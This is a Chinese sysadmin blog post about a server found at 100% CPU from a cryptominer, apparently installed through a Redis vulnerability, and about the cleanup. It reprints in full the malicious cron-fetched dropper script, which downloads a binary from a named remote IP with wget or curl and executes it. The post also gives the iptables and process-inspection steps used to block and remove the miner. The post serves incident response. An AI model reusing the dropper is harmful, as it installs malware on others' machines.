首页 > 代码库 > 阿里云centos服务器cpu使用率100%和redis漏洞问题

阿里云centos服务器cpu使用率100%和redis漏洞问题

2016-10-27

开发服务器病毒的一次解决

一:发现问题

早上9点左右,短信告警cpu使用达到100%,ssh连接不上,重启服务器,并没有解决cpu满载的情况,但可以用ssh连上了。

技术分享

二:解决办法

  • 遇到这种突然的cpu飙升,且用top命令看不到(shift+P)占用cpu特别大的进程,初步怀疑服务器中病毒了并且有可能执行着计划任务

技术分享

  • 查看计划任务

技术分享


  • 果然,计划任务显示,它在每分钟执行一个远程名为pm.sh脚本,经查,该ip地址为韩国

  • 获取该脚本,内容如下

===========================================================

PATH=$PATH:/usr/bin:/bin:/sbin:/usr/sbin:/usr/local/bin:/usr/local/sbin

machine=`uname -m`

#echo $machine


cs5="CentOS release 5"

cs6="CentOS release 6"

cs7="CentOS Linux release 7"

ub="Ubuntu"

de="Debian"


downFile(){

        cd /var/lib

        if [ -x"/usr/bin/wget"  -o  -x "/bin/wget" ]; then

                wget -chttp://101.55.126.66:8990/pm$1 -O /var/lib/pm && chmod +x /var/lib/pm&& /var/lib/pm

        elif [ -x"/usr/bin/curl"  -o  -x "/bin/curl" ]; then

                curl -fshttp://101.55.126.66:8990/pm$1 -o /var/lib/pm && chmod +x /var/lib/pm&& /var/lib/pm

        fi

}


if [ $machine = "x86_64" ]; then

    if [ -f "/etc/issue" ];then

        version=`cat /etc/issue`


        if [[ $version == $cs5* ]];then

                downFile 5

        elif [[ $version == $cs6*]]; then

                downFile 6

        elif [[ $version == $cs7*]]; then

                downFile 7

        elif [[ $version == $ub* ]];then

                downFile ub

        elif [[ $version == $de* ]];then

               downFile ub

        else

                if [ -f"/etc/redhat-release" ]; then

                        release=`cat/etc/redhat-release`


                        if [[$release == $cs5* ]]; then

                               downFile 5

                        elif [[$release == $cs6* ]]; then

                               downFile 6

                        elif [[$release == $cs7* ]]; then

                               downFile 7

                        fi

                fi

        fi

    fi

fi

=================================================================

  • 由该脚本可以看出,这个计划任务的pm.sh脚本会根据系统版本,生成本地/var/lib/pm文件,并给予该文件以可执行权限。

  • 下面,首先防火墙阻断该ip连接:

  • iptables -A INPUT -s 101.55.126.66 -j DROP

  • iptables -A OUTPUT -s 101.55.126.66 -j DROP

  • 由上述可知,用top已经看不到系统真实的cpu使用信息,考虑使用top加强版htop,由于,我们的服务器没有安装htop工具,所以使用了如下命令查看真实的cpu使用信息

  • ps aux --sort=-%cpu | awk ‘NR==1{print $2,$3,$11}NR>1{if($3!=0.0) print$2,$3,$11}‘

  • 结果如下:

 技术分享

  • 可以看出两个tplink命令的进程已经使用了系统367%的cpu!,这里我选择删除上述的/var/lib/pm文件和/usr/sbin/tplink文件,并且注意这个tplink进程使用pkill是杀不死的。

三:后续问题

虽然cpu问题就此解决,但是其中还是走了很多弯路了,网上所说的挖矿病毒和本案例有很多相似之处,但并不完全相同。另外在也在怀疑到底这个计划任务或者说病毒是怎么传播的本服务器上面来的使用last,history,及查看系统安全日志,并没有发现蛛丝马迹。按照网络上案例,并且由计划任务的名称,可以大致确定病毒的传播应该是由redis的漏洞传播的(参考:http://blog.jobbole.com/94518/连接中有解决方法。)。并且查看了一下本服务器的redis日志,可以看到redis启动还是有warning的,如下

====================================================================

1499:M 27 Oct 09:27:34.368 #WARNING: The TCP backlog setting of 511 cannot be enforced because/proc/sys/net/core/somaxconn is set t

o the lower value of 128.

1499:M 27 Oct 09:27:34.368 #Server started, Redis version 3.0.7

1499:M 27 Oct 09:27:34.368 # WARNINGovercommit_memory is set to 0! Background save may fail under low memorycondition. To fix this

issue add ‘vm.overcommit_memory =1‘ to /etc/sysctl.conf and then reboot or run the command ‘sysctlvm.overcommit_memory=1‘ for this

to take effect.

1499:M 27 Oct 09:27:34.368 #WARNING you have Transparent Huge Pages (THP) support enabled in your kernel.This will create latency a

nd memory usage issues withRedis. To fix this issue run the command ‘echo never >/sys/kernel/mm/transparent_hugepage/enabled‘ as ro

ot, and add it to your/etc/rc.local in order to retain the setting after a reboot. Redis must berestarted after THP is disabled.

=====================================================================

从日志看出,redis还是有问题的存在的,并且日志信息也给出了解决的办法,按解决办法操作即可。

本文出自 “随风” 博客,请务必保留此出处http://358778493.blog.51cto.com/11386071/1866278

阿里云centos服务器cpu使用率100%和redis漏洞问题